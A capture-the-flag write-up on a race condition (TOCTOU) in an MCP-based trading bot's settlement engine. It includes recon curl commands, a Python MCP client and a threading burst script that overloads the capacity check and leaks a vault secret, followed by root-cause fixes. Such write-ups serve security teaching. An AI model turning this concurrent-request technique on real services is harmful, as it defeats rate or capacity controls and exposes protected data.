TradeBot: Settlement Engine TOCTOU / Race-Condition
On this page
Flag: KPMG_CTF{PJ97hqv34RapxYYJyrxFy-0IxQ1jOL_UHituHxn0dJR8}
Target: http://kicyber-627920783ee2-tradebot-0-0.chals.io Category: API (MCP server) / race condition (TOCTOU) Hint (from KPMG CTF): “TradeBot is your automated stock trading assistant… There is a special instrument that isn’t sold on the public order book. Only the settlement engine, the part that processes your trades, can read it. Hint: the engine decides whether it can settle your order before it finishes routing it and it never checks again.”
Overview
TradeBot is not a normal web app: the health endpoint reveals a Model Context Protocol (MCP)
server at /mcp. It exposes trading tools (get_stock_price, place_order,
get_risk_report, …). There is a hidden restricted instrument FLAG (“TradeBot Reserve
Note”) that lives in a reserve vault; it cannot be traded through the public order book and is
“readable only by the settlement engine while a fill holds exclusive vault access.”
The settlement risk engine permits a limited number of orders to be settling at once
(max_concurrent_settlements: 19) and guarantees a fill has exclusive access to the vault. As
the hint says, the engine checks admission (“can I settle this?”) once, before routing
finishes, and never re-checks, and the in-flight counter is only incremented later, during the
fill phase. That is a classic time-of-check / time-of-use (TOCTOU) gap: fire more than 19
orders simultaneously and they all pass the capacity check (counter still 0) before any of them
increments it. Their fill phases then overlap, breaking the “exclusive vault access” invariant.
When exclusivity is violated the engine “reconciles” by dumping the sealed vault record (the
flag) straight into the order response.
Recon
1. Find the entry point
The root 404s; the health endpoint leaks the real surface.
base="http://kicyber-627920783ee2-tradebot-0-0.chals.io"
for p in / /api /docs /openapi.json /health /robots.txt; do
echo "$(curl -s -o /dev/null -w '%{http_code}' "$base$p") $p"
done
Output:
404 /
404 /api
404 /docs
404 /openapi.json
200 /health
404 /robots.txt
curl -s "$base/health"
Output:
{"status":"healthy","service":"tradebot","version":"2.0.0","mcp_endpoint":"/mcp"}
2. Speak MCP (JSON-RPC over HTTP, SSE responses)
GET /mcp complains about a missing session ID; POST initialize returns one in the
mcp-session-id header and an SSE event: message body.
curl -s -i -X POST "$base/mcp" \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"curl","version":"1.0"}}}'
Output (trimmed):
HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: dec28206e10849aa812741234b76b450
event: message
data: {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05",...,"serverInfo":{"name":"TradeBot","version":"4.0.3"}}}
Because every call needs the session ID (and a prior notifications/initialized), I wrote a
small Python MCP client to handle the session + SSE parsing. mcp.py:
import requests, json
BASE = "http://kicyber-627920783ee2-tradebot-0-0.chals.io/mcp"
HEADERS = {"Content-Type": "application/json",
"Accept": "application/json, text/event-stream"}
def parse_sse(text):
out = []
for line in text.splitlines():
if line.startswith("data: "):
try: out.append(json.loads(line[6:]))
except Exception: pass
return out
class MCP:
def __init__(self):
self.s = requests.Session(); self.sid = None; self.id = 0
self._init()
def _post(self, payload):
h = dict(HEADERS)
if self.sid: h["mcp-session-id"] = self.sid
r = self.s.post(BASE, headers=h, data=json.dumps(payload), timeout=30)
if not self.sid and "mcp-session-id" in r.headers:
self.sid = r.headers["mcp-session-id"]
return r
def _init(self):
r = self._post({"jsonrpc":"2.0","id":0,"method":"initialize",
"params":{"protocolVersion":"2024-11-05","capabilities":{},
"clientInfo":{"name":"py","version":"1"}}})
self.sid = r.headers.get("mcp-session-id", self.sid)
self._post({"jsonrpc":"2.0","method":"notifications/initialized"})
def call(self, method, params=None):
self.id += 1
r = self._post({"jsonrpc":"2.0","id":self.id,"method":method,"params":params or {}})
return parse_sse(r.text)
def tool(self, name, args=None):
return self.call("tools/call", {"name":name,"arguments":args or {}})
3. Enumerate tools
# via the client: m = MCP(); m.call("tools/list")
Tools returned: get_stock_price, get_stock_info, list_available_stocks, get_portfolio,
get_risk_report, get_order_status, place_order, health_check.
place_order’s own description was the first big clue:
“The order is routed to the exchange and settles a moment later. Admission is governed by the settlement risk engine, which permits a limited number of orders per account to be settling at any one time. Orders that arrive while the engine is at capacity are rejected.”
4. Baseline state
m = MCP()
m.tool("get_portfolio")
m.tool("get_risk_report")
Output (the structuredContent):
{"balance":25000.0,"positions":{},"total_value":25000.0,"total_positions":0}
{"max_concurrent_settlements":19,"settlements_inflight":0,"inflight_order_ids":[],
"routing_latency_seconds":1.0,"fill_latency_seconds":0.8,"integrity_violations":0}
Key numbers: cap = 19 concurrent settlements, routing 1.0s, fill 0.8s, and an
integrity_violations counter sitting at 0, clearly the thing we want to move.
Finding the hidden instrument
A normal order works and shows the response shape:
m.tool("place_order", {"symbol":"AAPL","quantity":1,"order_type":"buy"})
{"order":{"order_id":"ORD-000001","symbol":"AAPL","type":"buy","quantity":1,
"price":178.34,"total":178.34,"status":"filled",...},"status":"success"}
Probing symbol names for the “special instrument”:
for sym in ["FLAG","SECRET","KPMG","PHANTOM","DARKPOOL","HIDDEN","GHOST","OMEGA"]:
print(sym, m.tool("get_stock_price", {"symbol":sym}))
Output (only FLAG is special):
FLAG -> Symbol 'FLAG' is classified RESTRICTED and has no public quote.
Reserve vault instruments are priced by the settlement engine only.
others -> Stock symbol '<x>' not found
m.tool("get_stock_info", {"symbol":"FLAG"})
{"symbol":"FLAG","name":"TradeBot Reserve Note","sector":"Restricted",
"classification":"RESTRICTED",
"note":"Reserve vault instrument. Not tradable through the public order book;
readable only by the settlement engine while a fill holds exclusive vault access."}
Trying to buy it directly is hard-blocked at admission:
m.tool("place_order", {"symbol":"FLAG","quantity":1,"order_type":"buy"})
Symbol 'FLAG' is classified RESTRICTED. Reserve vault instruments cannot be traded
through the public order book. Vault access is granted only to the settlement engine.
Dead ends (recorded for completeness)
- Timing a FLAG order into another order’s fill window (delays 0.9–1.3s): FLAG is rejected synchronously at admission every time; the restriction check runs before any routing, so there is no window to slip into.
- Symbol-normalization bypass (
flag,Flag,fLaG, ` FLAG,FLAG, zero-width/RTL chars): the restriction check and the lookup normalize identically:flag/Flag/fLaGall resolve toFLAG` and are blocked; padded/Unicode variants are “not found”. No gap there.
Understanding the lifecycle (where the race lives)
I placed one order and polled get_risk_report from a second session to see when the in-flight
counter moves:
# thread A: place MSFT buy; thread B: poll get_risk_report every 0.1s
Output (relative times):
[0.37] inflight=0 ids=[] viol=0
[0.88] inflight=0 ids=[] viol=0
[1.39] inflight=0 ids=[] viol=0
[1.90] inflight=1 ids=['ORD-000007'] viol=0 <-- counter only moves during the fill phase
[2.15] PLACED -> ...status":"filled"...
[2.35] inflight=0 ids=[] viol=0
So an order is “in flight” only during its short fill/settlement phase near the end. The
capacity check (can I settle?) happens up front, before routing, and the counter is incremented
late, which is exactly the TOCTOU the hint describes. Fire ≥20 orders at once and they all read
inflight = 0 < 19 at admission, then their fill phases pile up past the cap simultaneously,
violating the vault’s “exclusive access” guarantee.
Exploit: concurrent order burst (SOLVED)
Launch 25 place_order calls at the same instant, each on its own MCP session, released together
with a threading.Barrier so their fill phases overlap. burst.py:
from mcp import MCP
import json, threading
N = 25
clients = [MCP() for _ in range(N)] # independent sessions => true concurrency
results = [None]*N
barrier = threading.Barrier(N)
def worker(i):
barrier.wait() # release all threads simultaneously
msgs = clients[i].tool("place_order", {"symbol":"AAPL","quantity":1,"order_type":"buy"})
results[i] = msgs[0]["result"]["content"][0]["text"]
ths = [threading.Thread(target=worker, args=(i,)) for i in range(N)]
for t in ths: t.start()
for t in ths: t.join()
for i, r in enumerate(results):
if r and "VAULT" in r.upper():
print(i, r)
Run:
PYTHONPATH=. python3 burst.py
Output: 3 of the 25 orders came back with the vault record (truncated to one):
{"order":{"order_id":"ORD-000013","symbol":"AAPL","type":"buy","quantity":1,
"price":178.34,"total":178.34,"status":"filled",...},"status":"success",
"risk_engine":{"integrity":"COMPROMISED","incident":"SETTLEMENT_OVERSUBSCRIPTION"},
"vault_reconciliation":{
"vault":"TRADEBOT-RESERVE","instrument":"TRADEBOT-RESERVE-NOTE",
"integrity":"COMPROMISED",
"reason":"Settlement exclusivity violated: the reserve vault was read while more than one
settlement held a slot. Reconciling by returning the sealed vault record.",
"vault_seal":"KPMG_CTF{PJ97hqv34RapxYYJyrxFy-0IxQ1jOL_UHituHxn0dJR8}"}}
Confirming the violation stuck:
MCP().tool("get_risk_report")
{"max_concurrent_settlements":19,"settlements_inflight":0,"inflight_order_ids":[],
"routing_latency_seconds":1.0,"fill_latency_seconds":0.8,"integrity_violations":3}
Flag: KPMG_CTF{PJ97hqv34RapxYYJyrxFy-0IxQ1jOL_UHituHxn0dJR8}
Why it works
- Admission (“can this order settle?”) is a check-then-act against
settlements_inflight, but the counter is only incremented much later, when the order enters its fill phase. Between the check and the increment there is a ~1s+ routing window. - With all orders released simultaneously, every one of them observes
inflight = 0at the check, so the 19-slot cap is never enforced. Their fill phases then run concurrently and exceed the cap. - The reserve vault assumes a fill has exclusive access. Once more than one settlement holds
a slot at the same moment, that invariant is false; the engine detects
SETTLEMENT_OVERSUBSCRIPTION, flags integrity asCOMPROMISED, and “reconciles” by returning the sealed vault record (the flag) in the order response, handing us the one instrument only the settlement engine was ever supposed to read.
Root cause & fix
Textbook TOCTOU race condition on a concurrency/capacity gate:
- Check-then-act without atomicity: read
inflight, decide, then (later) increment. Fix: make admission atomic: increment-and-test under a lock/semaphore before routing, so the slot is reserved at check time, not at fill time. - Invariant enforced by assumption, not by a lock: “exclusive vault access” relied on the cap being respected rather than on an actual mutex around the vault. Fix: guard the reserve vault with a real exclusive lock; a second concurrent reader should block or fail closed, never read.
- Fail-open leakage: on integrity violation the engine returned the secret instead of aborting. Fix: on any integrity/oversubscription incident, reject the order and never emit vault contents.
Takeaways
GET /healthpaid for itself: it named the real endpoint (/mcp) when every path 404’d.- An MCP server is just JSON-RPC over HTTP; a tiny client that keeps the
mcp-session-idand parses SSE lets you script it like any API. - When a challenge mentions a capacity limit and “decides once, never re-checks,” think
TOCTOU: hit the check-to-use window with simultaneous requests (a
threading.Barrieracross independent sessions makes them land together). - Over-provision the burst (25 vs. the cap of 19) so overlap is guaranteed even with network jitter, then grep every response for the secret, since only the orders that actually collided carry it.